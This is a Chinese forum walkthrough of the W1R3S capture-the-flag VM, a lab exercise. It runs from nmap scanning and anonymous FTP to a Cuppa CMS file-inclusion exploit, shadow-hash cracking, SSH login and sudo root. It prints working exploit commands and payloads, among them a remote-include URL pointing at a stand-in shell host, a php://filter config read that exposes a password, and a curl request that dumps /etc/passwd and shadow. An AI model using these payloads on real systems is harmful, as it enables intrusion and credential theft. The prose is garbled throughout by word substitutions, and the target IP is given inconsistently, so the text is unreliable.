W1R3S靶机全通详细教程

打印 上一主题 下一主题

主题 665|帖子 665|积分 1995

w1r3s

引言
近些日子看红笔大佬的靶机精讲视频时,他的一句话让我感受颇深,很多视频在解说时,直接告诉你应该这么想,不应该那么想,但是其实在我们本身实战中,到底怎么才气辨认出什么信息是有用的?我们不应该是去刻意记忆在某个渗出过程中的特定信息,而是仔细去分析,并在一次次的渗出经历中探索经验,并不断尝试,在多少信息中突围
主机发现

先ping一下kali的ip

主机扫描

  1. sudo nmap -sn 192.168.236.0/24
复制代码
用-sn参数,(root下)发送arp哀求(数据链路层的数据包),若果是非root用户,则会发送tcp和icmp包。举行轻量级的侦察,得到活动的主机ip而不轻易引起注意,偶然候arp哀求不会被所有主机相应,我们就可以通过icmp时间戳哀求来举行主机发现(–send-ip)
另外顺道一提,红队条记大佬说道,不建议在渗出过程中使用kali的root权限,还是用平凡用户更好,必要root的时候sudo即可,在举行扫描阶段的许多nmap指令都是必要root权限的,因此我就直接用root了,各人不要模仿!更规范的方式是每次都sudo

启动靶机前后,这个ip是新增的192.168.236.131
由nmap的扫描结果可发现靶机的地址为192.168.200.139 。实际测试过程中,应当在靶机上线之前举行一次扫描,靶机上线之后再扫描一次,对比发现上线的主机,更方便确认靶机的ip。下一步即针对这个ip举行端口扫描。
端口扫描

tcp端口扫描

已经拿到靶机的ip了,那我们下一步就是用nmap对这个ip举行端口扫描,看看开放了哪些端口和服务。下令如下:
  1. nmap -sT nmap –min-rate 10000 –p- 192.168.236.131 -oA nmapscan/ports
复制代码
参数分析
默认值:-sS
利用tcp协议的SYN标志位来探测目的主机的开放端口,发送一个SYN包,只建立第一步链接
这里指定-sT
发送完整的tcp三次握手哀求,准确率更高,但流量和速率指标要求较高,还能够防止某些主机waf过滤了单个SYN包的情况
nmap –min-rate 10000
10000是一个公道的速率,红队办法中会更慢
–p-
-p是默认1000个端口
指定-是扫描所有65535个端口

假如端口太多,手动一个一个输不够优雅,将开放的端口号提取出来并赋给ports这个变量,使用时只必要输入$port然后按下Tab补全
  1. ports=$(grep open nmapscan/ports.nmap | awk -F'/' '{print $1}' | paste -sd ',')
复制代码

  1. nmap -sT -sV -sC -O -p21,22,80,3306 192.168.236.131 -oA nmapscan/portdetail
复制代码
参数分析
-sT 指定tcp扫描 发送tcp三次握手
-sV 探测端口服务及版本
-sC 默认脚本目录
-O 探测操作系统
扫描结果
  1. Nmap 7.94 scan initiated Mon Jul 29 11:08:13 2024 as: nmap -sT -sV -sC -O -p21,22,80,3306 -oA nmapscan/portdetail 192.168.236.131
  2. Nmap scan report for 192.168.236.131
  3. Host is up (0.00030s latency).
  4. PORT     STATE SERVICE VERSION
  5. 21/tcp   open  ftp     vsftpd 2.0.8 or later
  6. | ftp-anon: Anonymous FTP login allowed (FTP code 230)
  7. | drwxr-xr-x    2 ftp      ftp          4096 Jan 23  2018 content
  8. | drwxr-xr-x    2 ftp      ftp          4096 Jan 23  2018 docs
  9. |_drwxr-xr-x    2 ftp      ftp          4096 Jan 28  2018 new-employees
  10. | ftp-syst:
  11. |   STAT:
  12. | FTP server status:
  13. |      Connected to ::ffff:192.168.236.128
  14. |      Logged in as ftp
  15. |      TYPE: ASCII
  16. |      No session bandwidth limit
  17. |      Session timeout in seconds is 300
  18. |      Control connection is plain text
  19. |      Data connections will be plain text
  20. |      At session startup, client count was 4
  21. |      vsFTPd 3.0.3 - secure, fast, stable
  22. |_End of status
  23. 22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
  24. | ssh-hostkey:
  25. |   2048 07:e3:5a:5c:c8:18:65:b0:5f:6e:f7:75:c7:7e:11:e0 (RSA)
  26. |   256 03:ab:9a:ed:0c:9b:32:26:44:13:ad:b0:b0:96:c3:1e (ECDSA)
  27. |_  256 3d:6d:d2:4b:46:e8:c9:a3:49:e0:93:56:22:2e:e3:54 (ED25519)
  28. 80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
  29. |_http-server-header: Apache/2.4.18 (Ubuntu)
  30. |_http-title: Apache2 Ubuntu Default Page: It works
  31. 3306/tcp open  mysql   MySQL (unauthorized)
  32. MAC Address: 00:0C:29:4B:A9:49 (VMware)
  33. Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
  34. Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.9 (97%), Linux 5.1 (94%), Linux 3.13 - 3.16 (93%), Linux 4.10 (93%), Linux 3.4 - 3.10 (93%), Linux 4.4 (92%), Linux 3.10 (92%), Linux 3.16 - 4.6 (91%), Linux 2.6.32 (91%)
  35. No exact OS matches for host (test conditions non-ideal).
  36. Network Distance: 1 hop
  37. Service Info: Host: W1R3S.inc; OS: Linux; CPE: cpe:/o:linux:linux_kernel
  38. OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  39. # Nmap done at Mon Jul 29 11:08:33 2024 -- 1 IP address (1 host up) scanned in 20.10 seconds
复制代码
UDP扫描

  1. sudo nmap -sU --top-ports 20 192.168.236.131 -oA nmapscan/udp
复制代码

参数分析
-sU 指定udp扫描
–top-ports 20 指定常用默认20个端口
  1. nmap -sU -p21,22,80,3306 192.168.236.131
复制代码

UDP扫描结果如上图,结果表明3306端口关闭,其他三个端口是开放/被过滤状态
毛病扫描

  1. nmap -script=vuln -p21,22,80,3306 192.168.236.131 -oA nmapscan/vuln
复制代码
然后我们再使用nmap中自带的脚本vuln举行毛病扫描。nmap内里的脚本会对端口的汗青常见毛病举行扫描探测,假如这一步就能发现可利用的毛病,对后续的操作会很有启发。 --script=vuln表示使用脚本vuln举行扫描,vuln是vulnrability的缩写,这个脚本也会更新,不断参加新的毛病检测。

攻击面分析

   一共有四个端口:21,22,80,3306。
  (1)80端口是http的web端口,且已经知道内里大概有wordpress的cms,具有较大的攻击面。这应该是最有大概的突破口
  (2)22是ssh远程登录端口,通常没啥毛病,但是也不绝对,有大概存在弱口令或者暴力破解登录啥的,但这不是我们直接入手的角度,应该放在末了考虑。
  (3)21端口是ftp文件传输协议的端口,有大概存在匿名登录,FTP服务器中也大概有一些信息,也有肯定的攻击面。FTP的突破口比较单一,操作比较轻易。
  (4)3306端口是MySQL数据库的端口,前面毛病扫描也并没有发现太多的思绪,不过假如能登录数据库,应该也有信息。
  综上,80端口是最有大概的突破口,但是由于FTP大概存在匿名登录,21端口的操作比较轻易,我们不妨先试试21端口,再看80端口,接着看3306数据库,末了尝试22远程登录。
  FTP渗出

匿名登录

  1. ftp 192.168.236.131
  2. 匿名登录:
  3. username:anonymous
  4. password:空
复制代码
成功登陆后将内里的文件都下载
  1. cd content
  2. mget 0*.txt
  3. ...
复制代码
  1. cat 02.txt
复制代码
01ec2d8fc11c493b25029fb1f47f39ce
hash-identifier查询得到是md5,再去在线解密

SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==
明文It is easy, but not that easy…
用于解密字符串上下前后翻转的在线网站
Upside Down Text | Flip Text, Type Upside Down, or Backwards Text
ı qoυˎʇ ʇɥıυʞ ʇɥıƨ ıƨ ʇɥǝ ʍɐʎ ʇo ɹooʇ¡
ı boυˎt thıυk thıƨ ıƨ the way to root! 密文
punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ
**we have a ןot of work to do‘ stop pןayıng around ** 密文
  1. cat employee-names.txt
  2. 拿到公司员工信息,用户名&职务
复制代码

ascii generator生成ASCII艺术字体
web渗出

直接访问http://192.168.236.131/能看到ubantu操作系统apache搭建服务的默认页,这个页面大概隐藏了一些开发人员留下的信息,必要我们欣赏一遍,再审计一下源代码,发现没有什么有用的信息,举行下一步目录爆破
目录爆破


这里爆出了这几个目录
/wordpress/wp-login.php
/administrator/ -> installation/
/javascript
先访问/javascript试试,发现无权限举行访问
/wordpress访问后返回本地localhost,估计没戏
访问/administrator,得到一个installation界面

这里暴露了cms是cuppa,这是一个cms框架的安装页面,显示了必要的环境版本等信息,这里只有一个next交互按键,红笔大佬说,我们每一步的操作都必要谨慎,考虑是否会影响正常服务器的运行,操作是否会被上报给管理员,在我们对渗出操作举行充分评估后,我们选择点击next

填写完信息后,点击next提示创建成功,但Administrator创建失败

cuppa cms文件包含毛病getshell

这里不再尝试,大概会存在sql注入等毛病,先用searchsploit搜刮一下cuppa cms是否有毛病,照理来说,只要是有人使用的cms框架,就应该会或多或少存在毛病

这里找到了一个远程文件包含毛病,我们把这个25971.txt下载下来看看怎么利用 :
  1. searchsploit cuppa -m 25971.txt   //-m指mirro,镜像拉取
复制代码
25971.txt文件内容
  1. # Exploit Title   : Cuppa CMS File Inclusion
  2. # Date            : 4 June 2013   //2013年的一个很老的洞
  3. # Exploit Author  : CWH Underground
  4. # Site            : www.2600.in.th
  5. # Vendor Homepage : http://www.cuppacms.com/    //官网
  6. # Software Link   : http://jaist.dl.sourceforge.net/project/cuppacms/cuppa_cms.zip  //软件链接
  7. # Version         : Beta
  8. # Tested on       : Window and Linux   //只要使用了cuppa这个cms,对于window和linux机器都适用
  9.   ,--^----------,--------,-----,-------^--,
  10.   | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  11.   `+---------------------------^----------|
  12.     `\_,-------, _________________________|
  13.       / XXXXXX /`|     /
  14.      / XXXXXX /  `\   /
  15.     / XXXXXX /\______(
  16.    / XXXXXX /
  17.   / XXXXXX /
  18. (________(
  19.   `------'
  20. ####################################
  21. VULNERABILITY: PHP CODE INJECTION
  22. ####################################
  23. /alerts/alertConfigField.php (LINE: 22)
  24. -----------------------------------------------------------------------------
  25. LINE 22:
  26.         <?php include($_REQUEST["urlConfig"]); ?>
  27. -----------------------------------------------------------------------------
  28. #####################################################
  29. DESCRIPTION  //描述
  30. #####################################################
  31. An attacker might include local or remote PHP files or read non-PHP files with this vulnerability. User tainted data is used when creating the file name that will be included into the current file. PHP code in this file will be evaluated, non-PHP code will be embedded to the output. This vulnerability can lead to full server compromise.
  32. 攻击者可能包含带有此漏洞的本地或远程PHP文件或读取非PHP文件。在创建将包含在当前文件中的文件名时使用用户污染数据。该文件中的PHP代码将被计算,非PHP代码将嵌入到输出中。此漏洞可能导致整个服务器被破坏。
  33. http://target/cuppa/alerts/alertConfigField.php?urlConfig=[FI]
  34. #####################################################
  35. EXPLOIT   //漏洞利用
  36. #####################################################
  37. http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
  38. http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
  39. Moreover, We could access Configuration.php source code via PHPStream
  40. For Example:   //例子
  41. -----------------------------------------------------------------------------
  42. http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php
  43. -----------------------------------------------------------------------------
  44. Base64 Encode Output:    //base64编码的输出
  45. -----------------------------------------------------------------------------
  46. PD9waHAgCgljbGFzcyBDb25maWd1cmF0aW9uewoJCXB1YmxpYyAkaG9zdCA9ICJsb2NhbGhvc3QiOwoJCXB1YmxpYyAkZGIgPSAiY3VwcGEiOwoJCXB1YmxpYyAkdXNlciA9ICJyb290IjsKCQlwdWJsaWMgJHBhc3N3b3JkID0gIkRiQGRtaW4iOwoJCXB1YmxpYyAkdGFibGVfcHJlZml4ID0gImN1XyI7CgkJcHVibGljICRhZG1pbmlzdHJhdG9yX3RlbXBsYXRlID0gImRlZmF1bHQiOwoJCXB1YmxpYyAkbGlzdF9saW1pdCA9IDI1OwoJCXB1YmxpYyAkdG9rZW4gPSAiT0JxSVBxbEZXZjNYIjsKCQlwdWJsaWMgJGFsbG93ZWRfZXh0ZW5zaW9ucyA9ICIqLmJtcDsgKi5jc3Y7ICouZG9jOyAqLmdpZjsgKi5pY287ICouanBnOyAqLmpwZWc7ICoub2RnOyAqLm9kcDsgKi5vZHM7ICoub2R0OyAqLnBkZjsgKi5wbmc7ICoucHB0OyAqLnN3ZjsgKi50eHQ7ICoueGNmOyAqLnhsczsgKi5kb2N4OyAqLnhsc3giOwoJCXB1YmxpYyAkdXBsb2FkX2RlZmF1bHRfcGF0aCA9ICJtZWRpYS91cGxvYWRzRmlsZXMiOwoJCXB1YmxpYyAkbWF4aW11bV9maWxlX3NpemUgPSAiNTI0Mjg4MCI7CgkJcHVibGljICRzZWN1cmVfbG9naW4gPSAwOwoJCXB1YmxpYyAkc2VjdXJlX2xvZ2luX3ZhbHVlID0gIiI7CgkJcHVibGljICRzZWN1cmVfbG9naW5fcmVkaXJlY3QgPSAiIjsKCX0gCj8+
  47. -----------------------------------------------------------------------------
  48. Base64 Decode Output:   //base64编码再解码的输出
  49. -----------------------------------------------------------------------------
  50. <?php
  51.         class Configuration{
  52.                 public $host = "localhost";
  53.                 public $db = "cuppa";
  54.                 public $user = "root";
  55.                 public $password = "Db@dmin";
  56.                 public $table_prefix = "cu_";
  57.                 public $administrator_template = "default";
  58.                 public $list_limit = 25;
  59.                 public $token = "OBqIPqlFWf3X";
  60.                 public $allowed_extensions = "*.bmp; *.csv; *.doc; *.gif; *.ico; *.jpg; *.jpeg; *.odg; *.odp; *.ods; *.odt; *.pdf; *.png; *.ppt; *.swf; *.txt; *.xcf; *.xls; *.docx; *.xlsx";
  61.                 public $upload_default_path = "media/uploadsFiles";
  62.                 public $maximum_file_size = "5242880";
  63.                 public $secure_login = 0;
  64.                 public $secure_login_value = "";
  65.                 public $secure_login_redirect = "";
  66.         }
  67. ?>
  68. -----------------------------------------------------------------------------
  69. Able to read sensitive information via File Inclusion (PHP Stream)
  70. ################################################################################################################
  71. Greetz      : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
  72. ################################################################################################################
复制代码
我们尝试用http://target/cuppa/alerts/alertConfigField.php?urlConfig=…/…/…/…/…/…/…/…/…/etc/passwd去访问一下,将内里的target换成靶机ip
发现并没有回显
这里只能重新构造一下我们的payload,只能去试错
将cuppa根目录改为administrator试一下http://target/administrator/alerts/alertConfigField.php?urlConfig=…/…/…/…/…/…/…/…/…/etc/passwd发现网页有反应了 ,但还是没有有用的信息
这时只能去举行代码审计,去cms官方github找到alertConfigField.php
CuppaCMS/alerts/alertConfigField.php at master · CuppaCMS/CuppaCMS · GitHub
举行代码审计,发现urlConfig是以post方式担当的

使用curl工具举行发包curl --help all | grep url查看指令帮助

可以看到–data-urlencode 这个参数使用POST传参并url编码
kali执行下令
  1. curl --data-urlencode 'urlConfig=../../../../../../../../etc/passwd'http://192.168.236.131/administrator/alerts/alertConfigField.php
复制代码

将带有hash值的拿出来用john解密
  1. www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
  2. root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9
  3. w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::
复制代码
vim shadow.hash
   下令行模式的下令
下令 分析
:q! 逼迫退出vim,不保存
:q 退出vim
:wq! 逼迫保存并退出vim
:w <文件路径> 另存为
:saveas <文件路径> 另存为
:x 保存并退出vim
:wq 保存并退出vim
:set nu 显示行号
:set shiftwidth=10 设置缩进为10个字符,以此类推(输入Esc回到平凡模式,再次尝试>>看缩进是否变革)
:ce(center) 本行内容居中
:ri(right) 本行内容居右
:le(left) 本行内容居左
  破解出来两个账户的暗码

尝试ssh毗连,输入暗码

成功登录

id指令看到w1r3s用户是有sudo权限的

提权

看是否能提权sudo -l ,输入暗码

(ALL :ALL)ALL表示这个用户根本就等于root,拥有所有权限
直接sudo /bin/bash 启动一个新的bash会话,提权成功



免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

王柳

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表